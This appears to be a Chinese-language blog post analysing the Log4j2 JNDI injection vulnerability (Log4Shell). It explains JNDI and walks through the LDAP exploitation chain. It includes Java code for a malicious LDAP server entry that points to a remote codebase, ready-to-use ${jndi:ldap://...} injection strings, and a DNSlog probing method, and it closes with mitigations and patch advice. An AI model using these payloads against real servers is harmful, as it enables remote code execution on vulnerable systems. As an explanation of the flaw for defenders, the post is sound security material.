源于Apache Log4j2这个漏洞的描述很多,也有很多的解法。开这个博的目的就是想分析一下漏洞具体是如何被利用的,这个大黑锅下面都有哪些坑。
最近由阿里安全团队爆出来的Apache Log4j2漏洞,可以说是霸占了大部分网安人的朋友圈。同时一张热图也被传来传去,就是下面这个图片。
由于Apache Log4j2组件应用的普及性,导致了大部分的应用都受到波及。同时我们也需要知道并不是所有的log功能都是通过Apache Log4j2来实现的,其实我们还有很多选择。众所周知Log4j2是Apache 家的千金,同时CekiGulcu也提供了一系列的log功能组件Log4j, SLF4J,LogBack。由于姻亲关系,Apache家的组件大部分都使用了他们自己家的Log4j2, 比如:
1,Spring-boot-strater-log4j2,
2,Apache Solr
3,Apache Flink,
4,Apache Druid
我们再仔细看一下上面的趣图,榔头是砸在了Log4j2的小腿肚子上,但是我们一定要注意,导致这个漏洞的另外一个原因是因为JNDI的注入问题。
科普一下JNDI的小常识:
JNDI是Java Naming and Directory Interface(JAVA命名和目录接口)的英文简写,它是为JAVA应用程序提供命名和目录访问服务的API(Application Programing Interface,应用程序编程接口)。
1.命名的概念与应用
JNDI中的命名(Naming),就是将Java对象以某个名称的形式绑定(binding)到一个容器环境(Context)中,以后调用容器环境(Context)的查找(lookup)方法又可以查找出某个名称所绑定的Java对象。例如,Tomcat服务器在启动时可以创建一个连接到某种数据库系统的数据源(DataSource)对象,并将该数据源(DataSource)对象绑定到JNDI环境中,以后在这个Tomcat服务器中运行的Servlet和JSP程序就可以从JNDI环境中查询出这个数据源(DataSource)对象进行使用,而不用关心数据源(DataSource)对象是如何创建出来的,这种方式极大地增强了系统的可维护性,当数据库系统的连接参数发生变更时,这只是Tomcat系统管理员一个人要关心的事情,而与所有的应用程序开发人员无关。
2.目录的概念与应用 , JNDI中的目录(Directory)与文件系统中的目录概念有很大的不同,JNDI中的目录(Directory)是指将一个对象的所有属性信息保存到一个容器环境中。JNDI的目录(Directory)原理与JNDI的命名(Naming)原理非常相似,主要的区别在于目录容器环境中保存的是对象的属性信息,而不是对象本身,所以,目录提供的是对属性的各种 *** 作。
3. JNDI使用的例子, 使用JNDI,创建一个数据源。
WEB-INF/web.xml ${catalina.base}/conf/web.xml
4, JNDI在功能架构上主要分为三层:
- NDI API 用与我们Java应用与其通信
- Naming Manager也就是我们之前提到的命名服务
- JNDI SPI(Server Provider Interface)用于具体到实现的方法上。
下面的图有助于我们理解JNDI的功能结构,从安全的角度我们需要特别关注图片最下方的交互接口,LDAP, RMI,CORBA 他们会给我们带来意想不到的麻烦。这也是目前已经确定可以被利用的攻击方式。
如何利用JNDI发起攻击
1, 利LDAP服务发起攻击,也就是这次Apache Log4j2被具体利用的点。
漏洞利用过程的请求包如下图所示:
1、攻击者提供一个LDAP绝对路径的url并赋予到可利用的JNDI的lookup方法中这里直接部署一个LDAP Client。
2、服务端访问攻击者构造或可控的LDAP Server端,并请求到恶意的JNDI Reference
3、服务端 decode请求到的恶意 JNDI Reference
4、服务端从攻击者构造的恶意Server请求并实例化Factory class 。即此处开放的http请求下的Th3windObject
5、执行payloads。
话不多说, 我们来看一下具体的细节。
LDAP服务的搭建,需要借助一个外部依赖,
compile group: "com.unboundid", name: "unboundid-ldapsdk", version: "4.0.9"
然后就可以建立一个基于内存的LDAP服务,并往其中添加了两个entry(dn为唯一标识,后面的为标记属性。第一个entry为第二个entry的parent entry,所以需要创建第一个才能创建第二个。)
public class LdapServer { public static void main(String[] args) throws Exception { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com"); config.setListenerConfigs(new InMemoryListenerConfig( "listen", //$NON-NLS-1$ InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ 1389, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.setSchema(null); config.setEnforceAttributeSyntaxCompliance(false); config.setEnforceSingleStructuralObjectClass(false); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); ds.add("dn: " + "dc=example,dc=com", "k: k"); ds.add("dn: " + "uid=kingkk,dc=example,dc=com", "k: kk"); System.out.println("Listening on 0.0.0.0:" + 1389); //$NON-NLS-1$ ds.startListening(); } }
然后客户端,通过对应的属性,就可以找到对应的对象,返回的是一个com.sun.jndi.ldap.LdapCtx
public class LdapClient { public static void main(String[] args) throws Exception { Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory"); env.put(Context.PROVIDER_URL, "ldap://127.0.0.1:1389"); Context ctx = new InitialContext(env); Object object = ctx.lookup("uid=kingkk,dc=example,dc=com"); System.out.println(object.getClass()); } }
我们来为entry添加几条额外的Attributes
ds.add("dn: " + "uid=kingkk,dc=example,dc=com", "javaCodebase: http://127.0.0.1:5000/", "objectClass: javaNamingReference", "javaFactory: Calc", "javaClassName: foo");
这样一来,再次启动LDAP client,来获取这个dn的对象时,就会引用到外部的类,从而触发漏洞。
2,利用RMI和Corba发起攻击
由于和本次的apache Log4j2的漏洞无关, 所以感兴趣的朋友可以通过下面的链接来获取相关信息:
https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/
https://www.anquanke.com/post/id/200860
截止到目前不能单纯的认为这个漏洞就让Apache Log4j2自己来背,毕竟Log4j2的腰也不太好。我们来看一下Java版本针对JNDI注入漏洞的防范。
攻击利用的方式
发现了漏洞, 也了解了漏洞的底层机理。我们也来看看攻击是怎么执行的,以及对应的防御措施。
Apache Log4j2团队已经第一时间释放出来一系列的版本来应对这个漏洞。 从2.15 rc1 , RC2 到最新的2.16都已经释放出来了。目前看2.15rc1仍然存在绕过的问题, RC2还存在一些小的安全问题, 2.16是目前比较稳妥的方案。
1, 如何利用构造的语句。
我们可以在访问问题网站的时候构造特殊的语句 ${jndi:ldap://127.0.0.1:1389/#Th3windObject},具体位置可以选择网站或者应用的输入框,如果后端有相关的log记录语句,同时存在问题版本的log4j2组件,就会远程执行相关的命令。
比如:
2, 由于该漏洞是没有办法直接在发起端做到回显的,因此很多的时候我们都需要借助一个第三方的平台DNSlog.com。利用DNS的解析记录来确定测试对象是否存在漏洞,
首先利用浏览器或者我们的工具(burpsuit)构造特殊的payload,来发起运动。
比如我们利用BP:
或者浏览器:
首先需要在DNSLOG.CN上注册一个子域名用作测试
发送构造的JNDI请求$(jndi:ldap://nah8zu.dnslog.cn/exp),会尝试利用Apache log4j2漏洞执行dns查询请求。接下来我们访问DNSLOG网站,查看查询记录。
问题的解决办法,也都已近贴在各大安全网站的头条了,我也放在这里做个结尾吧。
1,临时解决方案
设置jvm参数 “-Dlog4j2.formatMsgNoLookups=true”
设置“log4j2.formatMsgNoLookups=True”
系统环境变量“FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS”设置为“true”
关闭对应应用的网络外连,禁止主动外连
2, 应用最新的补丁。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)